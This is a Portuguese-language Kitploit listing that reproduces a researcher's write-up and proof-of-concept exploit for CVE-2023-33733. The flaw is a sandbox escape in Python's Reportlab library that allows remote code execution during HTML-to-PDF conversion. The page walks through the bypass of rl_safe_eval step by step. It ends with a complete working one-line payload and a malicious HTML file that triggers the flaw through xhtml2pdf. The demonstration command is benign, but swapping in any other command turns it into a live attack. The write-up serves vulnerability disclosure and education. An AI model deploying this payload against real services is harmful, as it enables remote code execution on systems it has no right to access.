Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-33733 — Documentação técnica detalhada e exploit de prova de conceito para CVE-2023-33733, uma vulnerabilidade de execução remota de código na biblioteca Reportlab do Python por meio de bypass de sandbox no processamento de HTML para PDF. | Kitploit
Ferramentas/GitHubGitHub/c53elyas/cve-2023-33733
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubc53elyas/cve-2023-33733

CVE-2023-33733

Documentação técnica detalhada e exploit de prova de conceito para CVE-2023-33733, uma vulnerabilidade de execução remota de código na biblioteca Reportlab do Python por meio de bypass de sandbox no processamento de HTML para PDF.

Ver Repositório
1211825há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

VULNERABILIDADE DE INJEÇÃO DE CÓDIGO NA BIBLIOTECA PYTHON REPORTLAB

tl;dr Este artigo detalha como uma RCE no Reportlab foi encontrada e explorada. Devido à prevalência do Reportlab no processamento de HTML para PDF, essa vulnerabilidade pode ser alcançável em muitas aplicações que processam arquivos PDF, tornando esta uma importante correção a ser aplicada e observada.

Introdução

Há alguns dias, durante uma auditoria de aplicação web, notamos que a aplicação estava usando a biblioteca Python Reportlab para realizar a geração dinâmica de arquivos PDF a partir de entrada HTML. O Reportlab foi encontrado com uma vulnerabilidade previamente corrigida que levava à execução de código. O que significa que encontrar uma forma de contornar a correção era bastante interessante do ponto de vista do atacante, pois levaria à redescoberta da execução de código, especialmente porque a biblioteca Reportlab também é usada em outras aplicações e ferramentas.

O que é Reportlab

Primeiramente, um rápido resumo: Reportlab é um projeto de código aberto que permite a criação de documentos no formato PDF (Portable Document Format) da Adobe usando a linguagem de programação Python. Ele também cria gráficos e dados gráficos em vários formatos bitmap e vetoriais, além de PDF.

Atacando o Reportlab

A biblioteca teve em 2019 um exploit semelhante que levava à execução remota de código através do atributo Color das tags HTML, onde o conteúdo do atributo era diretamente avaliado como uma expressão Python usando a função eval, resultando em execução de código. Para mitigar o problema, o Reportlab implementou uma sandbox chamada que é despojada de todas as funções builtin do Python e possui várias funções builtin substituídas para permitir a execução do código seguro da biblioteca, enquanto impede qualquer acesso a funções e bibliotecas perigosas que possam subsequentemente levar à construção de código Python perigoso:

rl_safe_eval

Um exemplo dessas medidas de prevenção é que a função builtin getattr é substituída por uma função restrita __rl_getitem__ que proíbe o acesso a quaisquer atributos perigosos de objetos, como aqueles que começam com __:

root@kitploit:~
class __RL_SAFE_ENV__(object):
	__time_time__ = time.time
	__weakref_ref__ = weakref.ref
	__slicetype__ = type(slice(0))
	def __init__(self, timeout=None, allowed_magic_methods=None):
		self.timeout = timeout if timeout is not None else self.__rl_tmax__
		self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
									else allowed_magic_methods) if allowed_magic_methods else []
		#[...]
		# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
		# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT 
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		
		#[...]
	def __rl_getattr__(self, obj, a, *args):
		if isinstance(obj, strTypes) and a=='format':
			raise BadCode('%s.format is not implemented' % type(obj))
		# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
		# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT 
		self.__rl_is_allowed_name__(a)
		return getattr(obj,a,*args)

	def __rl_is_allowed_name__(self, name):
		"""Check names if they are allowed.
		If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
		are additionally allowed although their names start with `_`.
		"""
		if isinstance(name,strTypes):
			# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

O Bug

O eval seguro, conforme descrito anteriormente, sanitiza o ambiente de todas as funções perigosas de modo que o código em execução não tenha acesso a ferramentas perigosas que possam ser usadas para executar ações maliciosas. No entanto, se for encontrada uma forma de contornar essas restrições e for obtido acesso a uma das funções builtin originais, isso facilitaria muito a exploração do ambiente em sandbox.

Uma das muitas classes builtin substituídas chama-se type. Se esta classe for chamada com um argumento, ela retorna o tipo de um objeto. No entanto, se for chamada com três argumentos, ela retorna um novo objeto tipo. Isso é essencialmente uma forma dinâmica da instrução class. Em outras palavras, pode permitir a criação de uma nova classe que herda de outra classe.

Então a ideia aqui é criar uma nova classe chamada Word que herda de str, de modo que, quando passada para o getattr personalizado, ela contorne as verificações e permita o acesso a atributos sensíveis como __code__.

Antes de o getattr personalizado no eval em sandbox retornar o atributo, ele realiza algumas verificações chamando __rl_is_allowed_name__ para verificar a segurança do atributo chamado antes de chamar o builtin getattr do Python e retornar o resultado.

root@kitploit:~
	def __rl_is_allowed_name__(self, name):
		"""Check names if they are allowed.
		If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
		are additionally allowed although their names start with `_`.
		"""
		if isinstance(name,strTypes):
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

Para contornar a função __rl_is_allowed_name__, a classe Word deve:

  • Sempre retornar False para chamadas à função startswith para contornar (name.startswith('__')
  • Deve retornar False em sua primeira chamada a __eq__ para contornar name in __rl_unsafe__, após a primeira chamada deve retornar a resposta correta, pois quando __eq__ é chamado pelo builtin getattr do Python, deve retornar o resultado correto.
  • o hash deve ser o mesmo que o hash de sua string subjacente

A seguinte classe atende a esses critérios:

root@kitploit:~
Word = type('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })
code = Word('__code__')
print(code == '__code__')    ## prints False
print(code == '__code__')    ## prints True
print(code == '__code__')    ## prints True
print(code == '__code__')    ## prints True

print(code.startswith('__')) ## prints False

A função type personalizada no eval seguro não permite ser passada com três argumentos:

root@kitploit:~
	def __rl_type__(self,*args):
		if len(args)==1: return type(*args)
		raise BadCode('type call error')

Uma forma de contornar isso foi encontrada chamando type sobre si mesmo, permitindo a recuperação da função builtin original type:

root@kitploit:~
orgTypeFun = type(type(1))

combinando essas duas linhas de código, teríamos algo como:

root@kitploit:~
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })

Acessando builtins globais

O exploit original sofria de várias limitações que o tornavam explorável apenas no Python 3.10. Para resolver esses problemas, uma nova abordagem foi feita para acessar o módulo os do Python.

A biblioteca Reportlab substitui a implementação de várias funções builtin e as injeta como globals no contexto do eval.

Exemplo de builtin padrão substituído por funções personalizadas em rl_safe_eval.py:

root@kitploit:~
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		__rl_builtins__['iter'] = self.__rl_getiter__
		__rl_builtins__['pow'] = self.__rl_pow__
		__rl_builtins__['list'] = self.__rl_list__
		__rl_builtins__['type'] = self.__rl_type__
		__rl_builtins__['max'] = self.__rl_max__

Como essas funções são construídas no contexto global, as variáveis e módulos globais podem ser acessados usando o atributo __globals__ dessas funções personalizadas.

O código a seguir deve ser executado dentro do contexto eval

root@kitploit:~
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')

Exploit Final

Agora só falta escrever o exploit:

Para isso, uma função será reconstruída a partir do bytecode de uma função compilada:

root@kitploit:~
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
    'mutated': 1,
            'startswith': lambda self, x: False,
            '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__': lambda self: hash(str(self))
            })
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')

No entanto, uma expressão de várias linhas como essa não será executada em um contexto eval. Para contornar esse problema, pode-se usar o truque de list comprehension, algo como:

root@kitploit:~
[print(x) for x in ['hellworld']]
# which would be equivalent to 
x='helloworld'
print(x)


[[ print (x + ' ' + y) for y in ['second var']]  for x in ['first var']]
# which would be equivalent to 
x='first var'
x='second var'
print (x + ' ' + y) 

Com essa técnica, o código do exploit pode ser reescrito em uma única linha de código assim (isso é considerado uma linha x) a multi-linha aqui é apenas formatação para aumentar a legibilidade do exploit. As declarações devem ser lidas de baixo para cima x) estranho, mas é assim que funciona):

root@kitploit:~
[
    [
        getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
        for Word in [
            orgTypeFun(
                'Word',
                (str,),
                {
                    'mutated': 1,
                    'startswith': lambda self, x: False,
                    '__eq__': lambda self, x: self.mutate()
                    and self.mutated < 0
                    and str(self) == x,
                    'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
                    '__hash__': lambda self: hash(str(self)),
                },
            )
        ]
    ]
    for orgTypeFun in [type(type(1))]
]

POC

Consulte o poc.py, pois contém a prova de conceito que demonstra a execução de código (após exploração bem-sucedida, um arquivo chamado exploited é criado em /tmp/).

E Mais?

Muitos aplicativos e bibliotecas usam a biblioteca Reportlab. Por exemplo, a função utilitária xhtml2pdf é vulnerável e pode sofrer execução de código ao transformar HTML malicioso em PDF.

root@kitploit:~
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>
EOF

xhtml2pdf mallicious.html
ls -al /tmp/exploited

Agradecimentos

Quero agradecer a Matthias Weckbecker por sua colaboração e excelente troca de ideias discutindo as limitações do exploit original. Agora o exploit funciona perfeitamente em todas as versões do Python 3 :D

Baixar ferramenta